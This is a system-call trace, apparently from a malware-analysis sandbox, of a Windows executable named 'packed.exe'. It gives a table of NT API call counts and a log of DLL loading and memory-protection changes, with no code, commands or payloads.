Summary:


NtAdjustPrivilegesToken(>) 
 1 
NtOpenMutant(>) 
 2 
NtGdiCreateDIBitmapInternal(>) 
 7 
NtCreateFile(>) 
 15 

NtCallbackReturn(>) 
 1 
NtOpenSymbolicLinkObject(>) 
 2 
NtGdiGetDCObject(>) 
 7 
NtCreateEvent(>) 
 16 

NtCreateMutant(>) 
 1 
NtQuerySymbolicLinkObject(>) 
 2 
NtGdiGetDCforBitmap(>) 
 7 
NtQueryDirectoryFile(>) 
 16 

NtCreateProcessEx(>) 
 1 
NtReadVirtualMemory(>) 
 2 
NtGdiGetStockObject(>) 
 7 
NtGdiDeleteObjectApp(>) 
 18 

NtDelayExecution(>) 
 1 
NtRegisterThreadTerminatePort(>) 
 2 
NtGdiRestoreDC(>) 
 7 
NtReadFile(>) 
 20 

NtEnumerateValueKey(>) 
 1 
NtReleaseMutant(>) 
 2 
NtGdiSaveDC(>) 
 7 
NtUserCallOneParam(>) 
 20 

NtGdiCreatePaletteInternal(>) 
 1 
NtResumeThread(>) 
 2 
NtGdiSetDIBitsToDeviceInternal(>) 
 7 
NtCreateSection(>) 
 21 

NtGdiInit(>) 
 1 
NtSetEventBoostPriority(>) 
 2 
NtQueryVolumeInformationFile(>) 
 7 
NtQueryInformationProcess(>) 
 21 

NtGdiQueryFontAssocInfo(>) 
 1 
NtTestAlert(>) 
 2 
NtSetInformationProcess(>) 
 7 
NtWriteFile(>) 
 24 

NtNotifyChangeKey(>) 
 1 
NtUserWaitForInputIdle(>) 
 2 
NtUserDestroyCursor(>) 
 7 
NtOpenSection(>) 
 25 

NtOpenEvent(>) 
 1 
NtAddAtom(>) 
 3 
NtUserSetCursorIconData(>) 
 7 
NtOpenProcessTokenEx(>) 
 27 

NtOpenKeyedEvent(>) 
 1 
NtContinue(>) 
 3 
NtEnumerateKey(>) 
 8 
NtOpenThreadTokenEx(>) 
 27 

NtOpenProcess(>) 
 1 
NtGdiHfontCreate(>) 
 3 
NtGdiCreateBitmap(>) 
 8 
NtQuerySystemInformation(>) 
 31 

NtQueryInformationJobObject(>) 
 1 
NtQueryPerformanceCounter(>) 
 3 
NtQueryDefaultUILanguage(>) 
 8 
NtQueryAttributesFile(>) 
 33 

NtQueryInformationThread(>) 
 1 
NtSetInformationObject(>) 
 3 
NtQuerySection(>) 
 9 
NtQueryInformationToken(>) 
 34 

NtQueryInstallUILanguage(>) 
 1 
NtTerminateProcess(>) 
 3 
NtSetInformationThread(>) 
 9 
NtOpenFile(>) 
 38 

NtQueryObject(>) 
 1 
NtWaitForMultipleObjects(>) 
 3 
NtGdiCreateCompatibleDC(>) 
 10 
NtMapViewOfSection(>) 
 41 

NtQuerySystemTime(>) 
 1 
NtCreateSemaphore(>) 
 4 
NtGdiExtGetObjectW(>) 
 10 
NtUserGetAtomName(>) 
 47 

NtSecureConnectPort(>) 
 1 
NtDuplicateObject(>) 
 4 
NtOpenProcessToken(>) 
 10 
NtUserUnregisterClass(>) 
 47 

NtUserCallNoParam(>) 
 1 
NtFreeVirtualMemory(>) 
 4 
NtQueryDebugFilterState(>) 
 10 
NtAllocateVirtualMemory(>) 
 51 

NtUserEnumDisplayMonitors(>) 
 1 
NtFsControlFile(>) 
 4 
NtQueryVirtualMemory(>) 
 10 
NtGdiSelectBitmap(>) 
 57 

NtUserGetKeyboardLayoutList(>) 
 1 
NtSetEvent(>) 
 4 
NtRequestWaitReplyPort(>) 
 11 
NtUserRegisterClassExWOW(>) 
 61 

NtUserGetThreadDesktop(>) 
 1 
NtWaitForSingleObject(>) 
 4 
NtUserGetDC(>) 
 11 
NtUserFindExistingCursorIcon(>) 
 74 

NtUserSetWindowsHookEx(>) 
 1 
NtWriteVirtualMemory(>) 
 4 
NtDeviceIoControlFile(>) 
 12 
NtQueryValueKey(>) 
 77 

NtCreateIoCompletion(>) 
 2 
NtAccessCheck(>) 
 5 
NtSetInformationFile(>) 
 12 
NtFlushInstructionCache(>) 
 87 

NtCreateThread(>) 
 2 
NtOpenThreadToken(>) 
 5 
NtQueryDefaultLocale(>) 
 14 
NtOpenKey(>) 
 147 

NtDeleteAtom(>) 
 2 
NtUserRegisterWindowMessage(>) 
 5 
NtQueryInformationFile(>) 
 14 
NtProtectVirtualMemory(>) 
 174 

NtDuplicateToken(>) 
 2 
NtCreateKey(>) 
 6 
NtUnmapViewOfSection(>) 
 14 
NtClose(>) 
 208 

NtGdiCreateSolidBrush(>) 
 2 
NtSetValueKey(>) 
 6 
NtUserSelectPalette(>) 
 14 

NtOpenDirectoryObject(>) 
 2 
NtGdiBitBlt(>) 
 7 

Trace:
 00001  1744   NtOpenFile  (0x80100000, {24, 0, 0x240, 0, 0,  (0x80100000, {24, 0, 0x240, 0, 0, "\SystemRoot\Prefetch\PACKED.EXE-09ED06A1.pf"}, 0, 32, ... ) }, 0, 32, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00002  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\packed.exe"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00003  1744   NtOpenKeyedEvent  (0x2000000, {24, 0, 0x0, 0, 0,  (0x2000000, {24, 0, 0x0, 0, 0, "\KernelObjects\CritSecOutOfMemoryEvent"}, ... 4, ) }, ... 4, ) == 0x0
 00004  1744   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00005  1744   NtAllocateVirtualMemory  (-1, 0, 0, 1048576, 8192, 4, ... 1310720, 1048576, ) == 0x0
 00006  1744   NtAllocateVirtualMemory  (-1, 1310720, 0, 4096, 4096, 4, ... 1310720, 4096, ) == 0x0
 00007  1744   NtAllocateVirtualMemory  (-1, 1314816, 0, 8192, 4096, 4, ... 1314816, 8192, ) == 0x0
 00008  1744   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00009  1744   NtAllocateVirtualMemory  (-1, 0, 0, 65536, 8192, 4, ... 2359296, 65536, ) == 0x0
 00010  1744   NtAllocateVirtualMemory  (-1, 2359296, 0, 24576, 4096, 4, ... 2359296, 24576, ) == 0x0
 00011  1744   NtOpenDirectoryObject  (0x3, {24, 0, 0x40, 0, 0,  (0x3, {24, 0, 0x40, 0, 0, "\KnownDlls"}, ... 8, ) }, ... 8, ) == 0x0
 00012  1744   NtOpenSymbolicLinkObject  (0x1, {24, 8, 0x40, 0, 0,  (0x1, {24, 8, 0x40, 0, 0, "KnownDllPath"}, ... 12, ) }, ... 12, ) == 0x0
 00013  1744   NtQuerySymbolicLinkObject  (12, ...  (12, ... "C:\WINDOWS\system32", 0x0, ) , 0x0, ) == 0x0
 00014  1744   NtClose  (12, ... ) == 0x0
 00015  1744   NtOpenFile  (0x100020, {24, 0, 0x42, 0, 0,  (0x100020, {24, 0, 0x42, 0, 0, "\??\C:\scripts\"}, 3, 33, ... 12, {status=0x0, info=1}, ) }, 3, 33, ... 12, {status=0x0, info=1}, ) == 0x0
 00016  1744   NtQueryVolumeInformationFile  (12, 1243852, 8, Device, ... {status=0x0, info=8}, ) == 0x0
 00017  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\u:\work\packed.exe.Local"}, 1243804, ... ) }, 1243804, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00018  1744   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "kernel32.dll"}, ... 16, ) }, ... 16, ) == 0x0
 00019  1744   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x7c800000), 0x0, 1003520, ) == 0x0
 00020  1744   NtClose  (16, ... ) == 0x0
 00021  1744   NtProtectVirtualMemory  (-1, (0x7c801000), 1568, 4, ... (0x7c801000), 4096, 32, ) == 0x0
 00022  1744   NtProtectVirtualMemory  (-1, (0x7c801000), 4096, 32, ... (0x7c801000), 4096, 4, ) == 0x0
 00023  1744   NtFlushInstructionCache  (-1, 2088767488, 1568, ... ) == 0x0
 00024  1744   NtQueryInformationProcess  (-1, 36, 4, ... {process info, class 36, size 4}, 0x0, ) == 0x0
 00025  1744   NtQuerySystemInformation  (RangeStart, 4, ... {system info, class 50, size 4}, 0x0, ) == 0x0
 00026  1744   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00027  1744   NtCreateSection  (0xf001f, 0x0, {65536, 0}, 4, 67108864, 0, ... 16, ) == 0x0
 00028  1744   NtSecureConnectPort  ( ("\Windows\ApiPort", {0, 2, 1, 1}, {24, 16, 0, 65536, 0, 0}, 1319736, {12, 0, 0}, 1241944, 44, ... 24, {24, 16, 0, 65536, 2424832, 19136512}, {0, 0, 0}, 200, 44, ) , {0, 2, 1, 1}, {24, 16, 0, 65536, 0, 0}, 1319736, {12, 0, 0}, 1241944, 44, ... 24, {24, 16, 0, 65536, 2424832, 19136512}, {0, 0, 0}, 200, 44, ) == 0x0
 00029  1744   NtClose  (16, ... ) == 0x0
 00030  1744   NtQueryObject  (24, Handle, 2, ... {Inherit=0,ProtectFromClose=0,}, -1, ) == 0x0
 00031  1744   NtSetInformationObject  (24, Handle, {Inherit=0,ProtectFromClose=1,}, 256, ... ) == 0x0
 00032  1744   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00033  1744   NtQueryVirtualMemory  (-1, 0x250000, Basic, 28, ... {BaseAddress=0x250000,AllocationBase=0x250000,AllocationProtect=0x4,RegionSize=0x10000,State=0x2000,Protect=0x0,Type=0x40000,}, 0x0, ) == 0x0
 00034  1744   NtAllocateVirtualMemory  (-1, 2424832, 0, 4096, 4096, 4, ... 2424832, 4096, ) == 0x0
 00035  1744   NtRequestWaitReplyPort  (24, {28, 56, new_msg, 0, 1242260, 1242460, 2089900544, 1242184}  (24, {28, 56, new_msg, 0, 1242260, 1242460, 2089900544, 1242184} "\210\6$\1\0\0\0\0eZ\221|\0\0\0\0\1\0\0\0\234\6$\1\4\0\0\0" ... {28, 56, reply, 0, 1736, 1744, 75482, 0} "\330<\27\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\234\6$\1\4\0\0\0" )  ... {28, 56, reply, 0, 1736, 1744, 75482, 0}  (24, {28, 56, new_msg, 0, 1242260, 1242460, 2089900544, 1242184} "\210\6$\1\0\0\0\0eZ\221|\0\0\0\0\1\0\0\0\234\6$\1\4\0\0\0" ... {28, 56, reply, 0, 1736, 1744, 75482, 0} "\330<\27\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\234\6$\1\4\0\0\0" )  ) == 0x0
 00036  1744   NtRegisterThreadTerminatePort  (24, ... ) == 0x0
 00037  1744   NtAllocateVirtualMemory  (-1, 1232896, 0, 4096, 4096, 260, ... 1232896, 4096, ) == 0x0
 00038  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\System\CurrentControlSet\Control\Terminal Server"}, ... 16, ) }, ... 16, ) == 0x0
 00039  1744   NtQueryValueKey  (16,  (16, "TSAppCompat", Partial, 548, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 548, ... TitleIdx=0, Type=4, Data= (16, "TSAppCompat", Partial, 548, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 00040  1744   NtClose  (16, ... ) == 0x0
 00041  1744   NtOpenSection  (0x4, {24, 0, 0x40, 0, 0,  (0x4, {24, 0, 0x40, 0, 0, "\NLS\NlsSectionUnicode"}, ... 16, ) }, ... 16, ) == 0x0
 00042  1744   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 2, 0, 2, ... (0x260000), 0x0, 90112, ) == 0x0
 00043  1744   NtClose  (16, ... ) == 0x0
 00044  1744   NtQueryDefaultLocale  (0, 2089305000, ... ) == 0x0
 00045  1744   NtOpenSection  (0x4, {24, 0, 0x40, 0, 0,  (0x4, {24, 0, 0x40, 0, 0, "\NLS\NlsSectionLocale"}, ... 16, ) }, ... 16, ) == 0x0
 00046  1744   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 2, 0, 2, ... (0x280000), 0x0, 249856, ) == 0x0
 00047  1744   NtClose  (16, ... ) == 0x0
 00048  1744   NtOpenSection  (0x5, {24, 0, 0x40, 0, 0,  (0x5, {24, 0, 0x40, 0, 0, "\NLS\NlsSectionSortkey"}, ... 16, ) }, ... 16, ) == 0x0
 00049  1744   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 2, 0, 2, ... (0x2c0000), 0x0, 266240, ) == 0x0
 00050  1744   NtQuerySection  (16, Basic, 16, ... {BaseAddress=0x0,Attributes=0x800000,Size={0x40004, 0x0},}, 0x0, ) == 0x0
 00051  1744   NtClose  (16, ... ) == 0x0
 00052  1744   NtOpenSection  (0x4, {24, 0, 0x40, 0, 0,  (0x4, {24, 0, 0x40, 0, 0, "\NLS\NlsSectionSortTbls"}, ... 16, ) }, ... 16, ) == 0x0
 00053  1744   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 2, 0, 2, ... (0x310000), 0x0, 24576, ) == 0x0
 00054  1744   NtClose  (16, ... ) == 0x0
 00055  1744   NtQueryVirtualMemory  (-1, 0x7ffd2000, Basic, 28, ... {BaseAddress=0x7ffd2000,AllocationBase=0x7ffb0000,AllocationProtect=0x2,RegionSize=0x2000,State=0x1000,Protect=0x2,Type=0x40000,}, 0x0, ) == 0x0
 00056  1744   NtOpenSection  (0x4, {24, 0, 0x40, 0, 0,  (0x4, {24, 0, 0x40, 0, 0, "\NLS\NlsSectionSortkey00000409"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00057  1744   NtOpenSection  (0x4, {24, 0, 0x40, 0, 0,  (0x4, {24, 0, 0x40, 0, 0, "\NLS\NlsSectionSortkey00000409"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00058  1744   NtAllocateVirtualMemory  (-1, 2428928, 0, 8192, 4096, 4, ... 2428928, 8192, ) == 0x0
 00059  1744   NtRequestWaitReplyPort  (24, {24, 52, new_msg, 0, 7012468, 7929957, 3145776, 3145776}  (24, {24, 52, new_msg, 0, 7012468, 7929957, 3145776, 3145776} "\210\6$\1\36\0\1\0\0\0\0\0\377\377\377\377\234\6$\1p\30\0\0" ... {24, 52, reply, 0, 1736, 1744, 75483, 0} "\10P\30\0\36\0\1\0\0\0\0\0\377\377\377\377\234\6$\1p\30\0\0" )  ... {24, 52, reply, 0, 1736, 1744, 75483, 0}  (24, {24, 52, new_msg, 0, 7012468, 7929957, 3145776, 3145776} "\210\6$\1\36\0\1\0\0\0\0\0\377\377\377\377\234\6$\1p\30\0\0" ... {24, 52, reply, 0, 1736, 1744, 75483, 0} "\10P\30\0\36\0\1\0\0\0\0\0\377\377\377\377\234\6$\1p\30\0\0" )  ) == 0x0
 00060  1744   NtRequestWaitReplyPort  (24, {28, 56, new_msg, 0, 2089305760, 2090321376, 0, 0}  (24, {28, 56, new_msg, 0, 2089305760, 2090321376, 0, 0} "\210\6$\1\0\0\0\0\0\0\0\0\0\0\0\0\2\0\0\0\234\6$\18\6\0\0" ... {28, 56, reply, 0, 1736, 1744, 75484, 0} "\250\202\26\0\0\0\0\0\0\0\0\0\0\0\0\0\2\0\0\0\234\6$\18\6\0\0" )  ... {28, 56, reply, 0, 1736, 1744, 75484, 0}  (24, {28, 56, new_msg, 0, 2089305760, 2090321376, 0, 0} "\210\6$\1\0\0\0\0\0\0\0\0\0\0\0\0\2\0\0\0\234\6$\18\6\0\0" ... {28, 56, reply, 0, 1736, 1744, 75484, 0} "\250\202\26\0\0\0\0\0\0\0\0\0\0\0\0\0\2\0\0\0\234\6$\18\6\0\0" )  ) == 0x0
 00061  1744   NtProtectVirtualMemory  (-1, (0x31428000), 8192, 4, ... (0x31428000), 8192, 128, ) == 0x0
 00062  1744   NtProtectVirtualMemory  (-1, (0x31428000), 8192, 128, ... (0x31428000), 8192, 4, ) == 0x0
 00063  1744   NtFlushInstructionCache  (-1, 826441728, 8192, ... ) == 0x0
 00064  1744   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "ADVAPI32.dll"}, ... 16, ) }, ... 16, ) == 0x0
 00065  1744   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x77dd0000), 0x0, 634880, ) == 0x0
 00066  1744   NtClose  (16, ... ) == 0x0
 00067  1744   NtProtectVirtualMemory  (-1, (0x77dd1000), 1700, 4, ... (0x77dd1000), 4096, 32, ) == 0x0
 00068  1744   NtProtectVirtualMemory  (-1, (0x77dd1000), 4096, 32, ... (0x77dd1000), 4096, 4, ) == 0x0
 00069  1744   NtFlushInstructionCache  (-1, 2010976256, 1700, ... ) == 0x0
 00070  1744   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "RPCRT4.dll"}, ... 16, ) }, ... 16, ) == 0x0
 00071  1744   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x77e70000), 0x0, 593920, ) == 0x0
 00072  1744   NtClose  (16, ... ) == 0x0
 00073  1744   NtProtectVirtualMemory  (-1, (0x77e71000), 868, 4, ... (0x77e71000), 4096, 32, ) == 0x0
 00074  1744   NtProtectVirtualMemory  (-1, (0x77e71000), 4096, 32, ... (0x77e71000), 4096, 4, ) == 0x0
 00075  1744   NtFlushInstructionCache  (-1, 2011631616, 868, ... ) == 0x0
 00076  1744   NtProtectVirtualMemory  (-1, (0x77e71000), 868, 4, ... (0x77e71000), 4096, 32, ) == 0x0
 00077  1744   NtProtectVirtualMemory  (-1, (0x77e71000), 4096, 32, ... (0x77e71000), 4096, 4, ) == 0x0
 00078  1744   NtFlushInstructionCache  (-1, 2011631616, 868, ... ) == 0x0
 00079  1744   NtProtectVirtualMemory  (-1, (0x77e71000), 868, 4, ... (0x77e71000), 4096, 32, ) == 0x0
 00080  1744   NtProtectVirtualMemory  (-1, (0x77e71000), 4096, 32, ... (0x77e71000), 4096, 4, ) == 0x0
 00081  1744   NtFlushInstructionCache  (-1, 2011631616, 868, ... ) == 0x0
 00082  1744   NtProtectVirtualMemory  (-1, (0x77dd1000), 1700, 4, ... (0x77dd1000), 4096, 32, ) == 0x0
 00083  1744   NtProtectVirtualMemory  (-1, (0x77dd1000), 4096, 32, ... (0x77dd1000), 4096, 4, ) == 0x0
 00084  1744   NtFlushInstructionCache  (-1, 2010976256, 1700, ... ) == 0x0
 00085  1744   NtProtectVirtualMemory  (-1, (0x31428000), 8192, 4, ... (0x31428000), 8192, 64, ) == 0x0
 00086  1744   NtProtectVirtualMemory  (-1, (0x31428000), 8192, 64, ... (0x31428000), 8192, 4, ) == 0x0
 00087  1744   NtFlushInstructionCache  (-1, 826441728, 8192, ... ) == 0x0
 00088  1744   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "MSVCRT.dll"}, ... 16, ) }, ... 16, ) == 0x0
 00089  1744   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x77c10000), 0x0, 360448, ) == 0x0
 00090  1744   NtClose  (16, ... ) == 0x0
 00091  1744   NtProtectVirtualMemory  (-1, (0x77c11000), 632, 4, ... (0x77c11000), 4096, 32, ) == 0x0
 00092  1744   NtProtectVirtualMemory  (-1, (0x77c11000), 4096, 32, ... (0x77c11000), 4096, 4, ) == 0x0
 00093  1744   NtFlushInstructionCache  (-1, 2009141248, 632, ... ) == 0x0
 00094  1744   NtProtectVirtualMemory  (-1, (0x31428000), 8192, 4, ... (0x31428000), 8192, 64, ) == 0x0
 00095  1744   NtProtectVirtualMemory  (-1, (0x31428000), 8192, 64, ... (0x31428000), 8192, 4, ) == 0x0
 00096  1744   NtFlushInstructionCache  (-1, 826441728, 8192, ... ) == 0x0
 00097  1744   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "USER32.dll"}, ... 16, ) }, ... 16, ) == 0x0
 00098  1744   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x7e410000), 0x0, 589824, ) == 0x0
 00099  1744   NtClose  (16, ... ) == 0x0
 00100  1744   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "GDI32.dll"}, ... 16, ) }, ... 16, ) == 0x0
 00101  1744   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x77f10000), 0x0, 290816, ) == 0x0
 00102  1744   NtClose  (16, ... ) == 0x0
 00103  1744   NtProtectVirtualMemory  (-1, (0x77f11000), 508, 4, ... (0x77f11000), 4096, 32, ) == 0x0
 00104  1744   NtProtectVirtualMemory  (-1, (0x77f11000), 4096, 32, ... (0x77f11000), 4096, 4, ) == 0x0
 00105  1744   NtFlushInstructionCache  (-1, 2012286976, 508, ... ) == 0x0
 00106  1744   NtProtectVirtualMemory  (-1, (0x77f11000), 508, 4, ... (0x77f11000), 4096, 32, ) == 0x0
 00107  1744   NtProtectVirtualMemory  (-1, (0x77f11000), 4096, 32, ... (0x77f11000), 4096, 4, ) == 0x0
 00108  1744   NtFlushInstructionCache  (-1, 2012286976, 508, ... ) == 0x0
 00109  1744   NtProtectVirtualMemory  (-1, (0x77f11000), 508, 4, ... (0x77f11000), 4096, 32, ) == 0x0
 00110  1744   NtProtectVirtualMemory  (-1, (0x77f11000), 4096, 32, ... (0x77f11000), 4096, 4, ) == 0x0
 00111  1744   NtFlushInstructionCache  (-1, 2012286976, 508, ... ) == 0x0
 00112  1744   NtProtectVirtualMemory  (-1, (0x7e411000), 1252, 4, ... (0x7e411000), 4096, 32, ) == 0x0
 00113  1744   NtProtectVirtualMemory  (-1, (0x7e411000), 4096, 32, ... (0x7e411000), 4096, 4, ) == 0x0
 00114  1744   NtFlushInstructionCache  (-1, 2118193152, 1252, ... ) == 0x0
 00115  1744   NtProtectVirtualMemory  (-1, (0x7e411000), 1252, 4, ... (0x7e411000), 4096, 32, ) == 0x0
 00116  1744   NtProtectVirtualMemory  (-1, (0x7e411000), 4096, 32, ... (0x7e411000), 4096, 4, ) == 0x0
 00117  1744   NtFlushInstructionCache  (-1, 2118193152, 1252, ... ) == 0x0
 00118  1744   NtProtectVirtualMemory  (-1, (0x7e411000), 1252, 4, ... (0x7e411000), 4096, 32, ) == 0x0
 00119  1744   NtProtectVirtualMemory  (-1, (0x7e411000), 4096, 32, ... (0x7e411000), 4096, 4, ) == 0x0
 00120  1744   NtFlushInstructionCache  (-1, 2118193152, 1252, ... ) == 0x0
 00121  1744   NtProtectVirtualMemory  (-1, (0x31428000), 8192, 4, ... (0x31428000), 8192, 64, ) == 0x0
 00122  1744   NtProtectVirtualMemory  (-1, (0x31428000), 8192, 64, ... (0x31428000), 8192, 4, ) == 0x0
 00123  1744   NtFlushInstructionCache  (-1, 826441728, 8192, ... ) == 0x0
 00124  1744   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "WININET.dll"}, ... 16, ) }, ... 16, ) == 0x0
 00125  1744   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x42c10000), 0x0, 847872, ) == 0x0
 00126  1744   NtClose  (16, ... ) == 0x0
 00127  1744   NtProtectVirtualMemory  (-1, (0x42c11000), 1452, 4, ... (0x42c11000), 4096, 32, ) == 0x0
 00128  1744   NtProtectVirtualMemory  (-1, (0x42c11000), 4096, 32, ... (0x42c11000), 4096, 4, ) == 0x0
 00129  1744   NtFlushInstructionCache  (-1, 1119948800, 1452, ... ) == 0x0
 00130  1744   NtProtectVirtualMemory  (-1, (0x42c11000), 1452, 4, ... (0x42c11000), 4096, 32, ) == 0x0
 00131  1744   NtProtectVirtualMemory  (-1, (0x42c11000), 4096, 32, ... (0x42c11000), 4096, 4, ) == 0x0
 00132  1744   NtFlushInstructionCache  (-1, 1119948800, 1452, ... ) == 0x0
 00133  1744   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "SHLWAPI.dll"}, ... 16, ) }, ... 16, ) == 0x0
 00134  1744   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x77f60000), 0x0, 483328, ) == 0x0
 00135  1744   NtClose  (16, ... ) == 0x0
 00136  1744   NtProtectVirtualMemory  (-1, (0x77f61000), 2076, 4, ... (0x77f61000), 4096, 32, ) == 0x0
 00137  1744   NtProtectVirtualMemory  (-1, (0x77f61000), 4096, 32, ... (0x77f61000), 4096, 4, ) == 0x0
 00138  1744   NtFlushInstructionCache  (-1, 2012614656, 2076, ... ) == 0x0
 00139  1744   NtProtectVirtualMemory  (-1, (0x77f61000), 2076, 4, ... (0x77f61000), 4096, 32, ) == 0x0
 00140  1744   NtProtectVirtualMemory  (-1, (0x77f61000), 4096, 32, ... (0x77f61000), 4096, 4, ) == 0x0
 00141  1744   NtFlushInstructionCache  (-1, 2012614656, 2076, ... ) == 0x0
 00142  1744   NtProtectVirtualMemory  (-1, (0x77f61000), 2076, 4, ... (0x77f61000), 4096, 32, ) == 0x0
 00143  1744   NtProtectVirtualMemory  (-1, (0x77f61000), 4096, 32, ... (0x77f61000), 4096, 4, ) == 0x0
 00144  1744   NtFlushInstructionCache  (-1, 2012614656, 2076, ... ) == 0x0
 00145  1744   NtProtectVirtualMemory  (-1, (0x77f61000), 2076, 4, ... (0x77f61000), 4096, 32, ) == 0x0
 00146  1744   NtProtectVirtualMemory  (-1, (0x77f61000), 4096, 32, ... (0x77f61000), 4096, 4, ) == 0x0
 00147  1744   NtFlushInstructionCache  (-1, 2012614656, 2076, ... ) == 0x0
 00148  1744   NtProtectVirtualMemory  (-1, (0x77f61000), 2076, 4, ... (0x77f61000), 4096, 32, ) == 0x0
 00149  1744   NtProtectVirtualMemory  (-1, (0x77f61000), 4096, 32, ... (0x77f61000), 4096, 4, ) == 0x0
 00150  1744   NtFlushInstructionCache  (-1, 2012614656, 2076, ... ) == 0x0
 00151  1744   NtProtectVirtualMemory  (-1, (0x42c11000), 1452, 4, ... (0x42c11000), 4096, 32, ) == 0x0
 00152  1744   NtProtectVirtualMemory  (-1, (0x42c11000), 4096, 32, ... (0x42c11000), 4096, 4, ) == 0x0
 00153  1744   NtFlushInstructionCache  (-1, 1119948800, 1452, ... ) == 0x0
 00154  1744   NtProtectVirtualMemory  (-1, (0x42c11000), 1452, 4, ... (0x42c11000), 4096, 32, ) == 0x0
 00155  1744   NtProtectVirtualMemory  (-1, (0x42c11000), 4096, 32, ... (0x42c11000), 4096, 4, ) == 0x0
 00156  1744   NtFlushInstructionCache  (-1, 1119948800, 1452, ... ) == 0x0
 00157  1744   NtProtectVirtualMemory  (-1, (0x42c11000), 1452, 4, ... (0x42c11000), 4096, 32, ) == 0x0
 00158  1744   NtProtectVirtualMemory  (-1, (0x42c11000), 4096, 32, ... (0x42c11000), 4096, 4, ) == 0x0
 00159  1744   NtFlushInstructionCache  (-1, 1119948800, 1452, ... ) == 0x0
 00160  1744   NtProtectVirtualMemory  (-1, (0x42c11000), 1452, 4, ... (0x42c11000), 4096, 32, ) == 0x0
 00161  1744   NtProtectVirtualMemory  (-1, (0x42c11000), 4096, 32, ... (0x42c11000), 4096, 4, ) == 0x0
 00162  1744   NtFlushInstructionCache  (-1, 1119948800, 1452, ... ) == 0x0
 00163  1744   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "Normaliz.dll"}, ... 16, ) }, ... 16, ) == 0x0
 00164  1744   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x400000), 0x0, 36864, ) == 0x0
 00165  1744   NtClose  (16, ... ) == 0x0
 00166  1744   NtProtectVirtualMemory  (-1, (0x401000), 160, 4, ... (0x401000), 4096, 32, ) == 0x0
 00167  1744   NtProtectVirtualMemory  (-1, (0x401000), 4096, 32, ... (0x401000), 4096, 4, ) == 0x0
 00168  1744   NtFlushInstructionCache  (-1, 4198400, 160, ... ) == 0x0
